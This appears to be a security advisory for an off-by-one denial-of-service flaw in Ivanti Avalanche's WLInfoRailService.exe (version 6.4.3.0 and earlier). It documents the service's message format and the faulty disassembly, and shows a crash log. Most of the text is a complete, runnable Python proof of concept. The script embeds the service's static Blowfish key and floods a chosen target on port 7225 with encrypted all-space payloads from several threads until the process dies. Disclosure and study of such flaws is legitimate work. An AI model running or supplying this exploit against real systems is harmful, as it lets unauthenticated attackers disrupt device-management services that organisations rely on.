An off-by-one denial-of-service vulnerability exists in Ivanti Avalanche WLInfoRailService.exe v6.4.3.0 and prior. An unauthenticated remote attacker can exploit it to terminate the process.
A message sent to WLInfoRailService.exe on TCP port 7225 has the following structure:
// be = big-endian
strut msg
{
preamble pre;
CliHdrProperty hdr[]; // encrypted header
// array of CliHdrProperty
// seen: plaintext zero-padded to 32-byte boundary
// blowfish-ecb-encrypted with a 0x28-byte static key
//
byte payload[]; // encrypted and optionally compressed payload
// plaintext zero-padded to blowfish block size (8)
};
// 0x18 bytes
struct preamble
{
be32 MsgSize; // msg size: 0x18 + sizeof(encrypted_hdr) + sizeof(encrypted_payload)
// 0x18 <= size <= 0x6400000
//
be32 HdrSize; // size of encrypted hdr
// 0 <= size <= 0x100000
//
be32 PayloadSize; // size of payload
// 0 <= size <=0x6400000
//
be32 DecompPayloadSize; // decompressed payload size?
// 0 <= size <= 0x6400000
// if 0, payload is not compressed
//
be32 seq; // seen: sequence number
byte ProtoVersion;// seen: 0x10
byte unk;
byte unk;
byte enc_flag; // encryption flag, must be non-zero; hdr and payload are encrypted
};
struct CliHdrProperty
{
be32 type; // property type, valid: <= 0x0D
be32 NameSize; // size of property name
be32 ValueSize; // size of property value
byte name[NameSize]; // property name
byte value[ValueSize]; // property value
// format depends on @type
// 0x02 - decimal string
// 0x0A - string
// 0x0B - string list separated by ;
};
The format of the message payload is dictated by the 'h.payform' CliHdrProperty in the message header. For a h.payform of 1, the payload is expected to be a list of <name>=<value> NameValue pairs separated by a newline or a carriage return character.
When processing such a payload, WLInfoRailService.exe attempts to strip the leading spaces in a NameValue pair. It looks for spaces as long as a non-space byte is not found and the current pointer (eax) is less than or equal to (jbe) pNlcrOrPayloadEnd:
// WLInfoRailService.exe, file version 6.4.3.0
[...]
.text:00423B49 mov [esp+0CB8h+pNlcrOrPayloadEnd], ecx
.text:00423B4D ja short loc_423B65
.text:00423B4F
.text:00423B4F lstrip_space: ; CODE XREF: payload_parse+A4↑j
.text:00423B4F ; payload_parse+C7↓j
.text:00423B4F cmp byte ptr [eax], 20h ; ' '
.text:00423B52 jnz short loc_423B59
.text:00423B54 inc eax
.text:00423B55 cmp eax, ecx ; ecx could point to invalid memory
.text:00423B57 vuln: off-by-one; should be jb
.text:00423B57 jbe short lstrip_space
[...]
pNlcrOrPayloadEnd is one byte past the payload buffer if there is no newline or carriage return characters in the payload, and pNlcrOrPayloadEnd can point to inaccessible memory. This can lead to memory access violation, resulting in process termination.
An unauthenticated remote attacker can specify a payload consisting of entirely space characters to crash WLInfoRailService.exe:
0:091> g
(26b4.b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=15076000 ebx=0173a320 ecx=15076000 edx=11ac2020 esi=15076000 edi=0173a3c0
eip=00423b4f esp=02b8eb24 ebp=017ba530 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
WLInfoRailService+0x23b4f:
00423b4f 803820 cmp byte ptr [eax],20h ds:002b:15076000=??
PoC:
python3 avalanche_WLInfoRailService_off_by_one_dos.py -t <target-host> -p 7225
thread: 1, payload size: 0x01935fe0
thread: 2, payload size: 0x00860fe0
thread: 3, payload size: 0x0542ffe0
thread: 4, payload size: 0x058f0fe0
thread: 5, payload size: 0x0270dfe0
[...]
thread: 5, payload size: 0x0351afe0, exception: [Errno 111] Connection refused
thread: 3, payload size: 0x026c6fe0, exception: [Errno 111] Connection refused
thread: 4, payload size: 0x05e65fe0, exception: [Errno 111] Connection refused
thread: 2, payload size: 0x05244fe0, exception: [Errno 111] Connection refused
# avalanche_WLInfoRailService_off_by_one_dos.py
import socket, argparse, sys
import array, time, random, threading
from Crypto.Cipher import Blowfish
from struct import *
def mk_msg(hdr, payload, msize=None, hsize=None, psize=None, cpsize=None, seq=0):
if hsize == None:
hsize = len(hdr)
if psize == None:
psize = len(payload)
if cpsize == None:
cpsize = 0
msg = hdr + payload
if msize == None:
msize = len(msg) + 0x18
preamble = pack('>LLLLLBBBB', msize, hsize, psize, cpsize, seq, 0x10, 0, 0, 1)
msg = preamble + msg
return msg
def property(t, k, v):
prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
return prop
def recvall(sock, n):
data = bytearray(b'')
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def recv_msg(sock):
data = bytearray(b'')
# Read preamble
data = recvall(sock, 0x18)
if data == None or len(data) != 0x18:
raise ValueError(f'Failed to read response preamble')
# Get msg size
size = unpack_from('>I', data, 0)[0]
if size < 0x18 or size > 0x6400000:
raise ValueError(f'Invalid msg size {size:X}')
# Get data
data += recvall(sock, size - 0x18)
if len(data) != size:
raise ValueError(f'Failed to read msg of {size:X} bytes')
return bytes(data)
def encrypt(data, key):
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
bs = Blowfish.block_size
plen = (bs - len(data) % bs) % bs
padding = [0]*plen
padding = pack('b'*plen, *padding)
data = data + padding
data = swap32(data)
out = cipher.encrypt(data)
out = swap32(out)
return out
def decrypt(data, key):
data = swap32(data)
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
out = cipher.decrypt(data)
out = swap32(out)
return out
def swap32(data):
arr = array.array('I', data)
arr.byteswap()
return arr.tobytes()
def send_reg_v2(host, port):
key = b'\x29\x23\xbe\x84\xe1\x6c\xd6\xae\x52\x90\x49\xf1\xf1\xbb\xe9\xeb'
key += b'\xb3\xa6\xdb\x3c\x87\x0c\x3e\x99\x24\x5e\x0d\x1c\x06\xb7\x47\xde'
key += b'\x21\xf3\x11\x79\x1a\x0f\x74\xba'
hdr = property(2, 'h.msgcat', b'999999')
hdr += property(2, 'h.msgsubcat', b'20')
hdr += property(2, 'h.payform', b'1')
hdr += property(11, 'h.distlist', b'255.2.1')
n = 32
hdr += b'\x00' * ((n - (len(hdr) % n)) % n)
hdr = encrypt(hdr, key)
tname = threading.current_thread().name
global refuse
while True:
try:
psize = random.randrange(0x100, 0x6400) * 0x1000
for n in (0x20, 0x10, 0x08):
psize = psize - n
print(f'thread: {tname}, payload size: {psize:#010x}')
payload = ' ' * psize
payload = payload.encode()
payload = encrypt(payload,key)
req = mk_msg(hdr, payload)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
s.sendall(req)
time.sleep(1)
except KeyboardInterrupt:
sys.exit(0)
except Exception as e:
print(f'thread: {tname}, payload size: {psize:#010x}, exception: {e}')
if 'Connection refused' in str(e):
with lock:
refuse += 1
if refuse >= 3:
sys.exit(0)
time.sleep(1)
pass
finally:
s.close()
#
# MAIN
#
descr = 'Ivanti Avalanche WLInfoRailService.exe Off-By-One DoS'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-p', '--port', type=int, default=7225, help='WLInfoRailService.exe port, default: %(default)s')
parser.add_argument('-r', '--threads', type=int, default=5, help='number of threads to run the PoC, default: %(default)s')
args = parser.parse_args()
host = args.target
port = args.port
num_threads = args.threads
lock = threading.Lock()
refuse = 0
for n in range(num_threads):
t = threading.Thread(target=send_reg_v2, args=(host, port), name=str(n+1))
t.start()